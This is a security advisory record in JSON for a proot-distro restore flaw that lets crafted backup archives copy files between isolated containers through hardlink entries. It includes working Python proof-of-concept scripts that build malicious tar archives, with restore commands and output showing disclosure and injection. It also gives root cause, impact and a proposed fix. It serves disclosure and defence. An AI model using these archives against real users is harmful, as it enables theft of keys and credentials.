{"id":"PYSEC-2026-3607","summary":"proot-distro has a Container Isolation Bypass via Crafted Restore Archive","details":"## Affected Component\n\n- **Package:** proot-distro\n- **Affected command:** `restore`\n- **Attack surface:** Host-side Termux CLI processing a user-supplied backup archive\n- **Vulnerability type:** Container Isolation Bypass / Cross-Container Read and Write\n\n---\n\n## Affected Versions\n\n| Component | Version |\n|---|---|\n| proot-distro | 5.1.5 (confirmed affected) |\n| Test distro | Alpine Linux |\n| Architecture | aarch64 |\n| Device | Samsung Galaxy A23 |\n| Package source | https://packages-cf.termux.dev/apt/termux-main stable/main aarch64 |\n\n---\n\n## Summary\n\nWhen restoring a crafted backup archive, `proot-distro restore` accepts hardlink entries whose source path references a different installed container.\n\nThe restore logic resolves the hardlink source from the archive's `linkname` field and copies the referenced file into the container identified by the archive entry.\n\nAlthough path traversal protections correctly keep the source path inside the proot-distro containers directory, no validation ensures that the hardlink source container matches the destination container.\n\nAs a result, a malicious backup archive can copy files between otherwise isolated containers, enabling both cross-container disclosure and cross-container file injection.\n\n---\n\n## Proof of Concept #1 — Cross-Container File Disclosure\n\nAll testing was performed using self-owned containers and harmless marker data only.\n\n### Step 1 — Create a victim container and marker file\n\n```bash\nproot-distro install alpine --name victim\n\nproot-distro login victim -- sh -lc '\nmkdir -p /root\nprintf \"PROOF-12345\\n\" \u003e /root/proof.txt\n'\n```\n\nVerification:\n\n```\nproot-distro login victim -- cat /root/proof.txt\n\nPROOF-12345\n```\n\n---\n\n### Step 2 — Create an attacker container\n\n```bash\nproot-distro install alpine --name attacker\n```\n\n---\n\n### Step 3 — Build a crafted archive\n\n```python\npython3 -c '\nimport tarfile\n\ntf = tarfile.open(\"malicious.tar\", \"w\")\n\nd = tarfile.TarInfo(\"attacker/rootfs/exfil\")\nd.type = tarfile.DIRTYPE\nd.mode = 0o755\ntf.addfile(d)\n\nh = tarfile.TarInfo(\"attacker/rootfs/exfil/stolen_key\")\nh.type = tarfile.LNKTYPE\nh.linkname = \"victim/rootfs/root/proof.txt\"\nh.mode = 0o600\ntf.addfile(h)\n\ntf.close()\n'\n```\n\n---\n\n### Step 4 — Restore the crafted archive\n\n```bash\nproot-distro restore ./malicious.tar\n```\n\n---\n\n### Step 5 — Read the copied file from the attacker container\n\n```bash\nproot-distro run attacker -- cat /exfil/stolen_key\n```\n\nObserved output:\n\n```\nPROOF-12345\n```\n\nThis demonstrates that data originating from the victim container was copied into the attacker container solely through a crafted restore archive.\n\n---\n\n## Proof of Concept #2 — Cross-Container File Injection\n\n### Step 1 — Create attacker-controlled source data\n\n```bash\nproot-distro install alpine --name attacker\n\nproot-distro login attacker -- sh -lc '\nmkdir -p /root\nprintf \"ATTACKER_DATA\\n\" \u003e /root/source.txt\n'\n```\n\n---\n\n### Step 2 — Create a victim container\n\n```bash\nproot-distro install alpine --name victim\n```\n\n---\n\n### Step 3 — Build a crafted archive\n\n```python\npython3 -c '\nimport tarfile\n\ntf = tarfile.open(\"write_test.tar\", \"w\")\n\nh = tarfile.TarInfo(\n    \"victim/rootfs/root/copied_from_attacker.txt\"\n)\n\nh.type = tarfile.LNKTYPE\nh.linkname = \"attacker/rootfs/root/source.txt\"\nh.mode = 0o600\n\ntf.addfile(h)\ntf.close()\n'\n```\n\n---\n\n### Step 4 — Restore the crafted archive\n\n```bash\nproot-distro restore ./write_test.tar\n```\n\n---\n\n### Step 5 — Verify file injection into the victim container\n\n```bash\ncat \"$PREFIX/var/lib/proot-distro/containers/victim/rootfs/root/copied_from_attacker.txt\"\n```\n\nObserved output:\n\n```\nATTACKER_DATA\n```\n\nThis demonstrates that attacker-controlled data can be copied into a different installed container solely through a crafted restore archive.\n\n---\n\n## Impact\n\nAn attacker who can convince a user to restore a crafted backup archive can bypass the expected isolation boundary between installed proot-distro containers.\n\nObserved impacts include:\n\n- Disclosure of files from other installed containers.\n- Injection of attacker-controlled files into other installed containers.\n- Exposure of SSH private keys.\n- Exposure of API credentials.\n- Exposure of configuration files containing secrets.\n- Exposure of application databases stored inside container rootfs directories.\n\nThe issue does not escape the proot-distro containers directory but allows archive-controlled movement of data across otherwise isolated containers.\n\n---\n\n## Root Cause\n\nDuring hardlink processing, the restore implementation resolves the source container from the archive's `linkname` field.\n\nThe resolved path is validated to remain inside a container directory, but the implementation does not verify that the hardlink source container is the same container currently being restored.\n\nAs a result, archive-controlled metadata determines which installed container is used as the source of the copy operation.\n\n---\n\n## Proposed Fix\n\n```python\nlink_container, link_src = _dest_path(member.linkname)\n\nif link_src is None:\n    continue\n\nif link_container != container_name:\n    continue\n\nlink_src = _safe_dest(\n    link_container,\n    link_src,\n    follow_final=True\n)\n```\n\nThis preserves existing path traversal protections while restoring the expected isolation boundary between containers.\n\n---\n\n## Additional Notes\n\n- Issue reproduced on the official Termux package repository.\n- No root access was used.\n- No third-party data was accessed.\n- Testing used only self-owned containers and harmless marker data.\n- Cross-container disclosure reproduced using the marker value `PROOF-12345`.\n- Cross-container file injection reproduced using the marker value `ATTACKER_DATA`.","aliases":["CVE-2026-54727","GHSA-7h3g-4w2f-fj2f"],"modified":"2026-08-04T14:30:17.853704597Z","published":"2026-08-04T11:34:45.100904Z","references":[{"type":"WEB","url":"https://github.com/termux/proot-distro/security/advisories/GHSA-7h3g-4w2f-fj2f"},{"type":"WEB","url":"https://github.com/termux/proot-distro/commit/98aff324b7d8500ff75a8ca9ac087ee636be4716"},{"type":"PACKAGE","url":"https://github.com/termux/proot-distro"},{"type":"WEB","url":"https://github.com/termux/proot-distro/releases/tag/v5.1.6"},{"type":"PACKAGE","url":"https://pypi.org/project/proot-distro"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-7h3g-4w2f-fj2f"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-54727"}],"affected":[{"package":{"name":"proot-distro","ecosystem":"PyPI","purl":"pkg:pypi/proot-distro"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"5.1.6"}]}],"versions":["5.0.0","5.0.0b1","5.0.0b2","5.0.0b3","5.0.0b4","5.0.0b5","5.0.1","5.0.2","5.1.0","5.1.1","5.1.2","5.1.3","5.1.4","5.1.5"],"database_specific":{"source":"https://github.com/pypa/advisory-database/blob/main/vulns/proot-distro/PYSEC-2026-3607.yaml"}}],"schema_version":"1.8.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N"}]}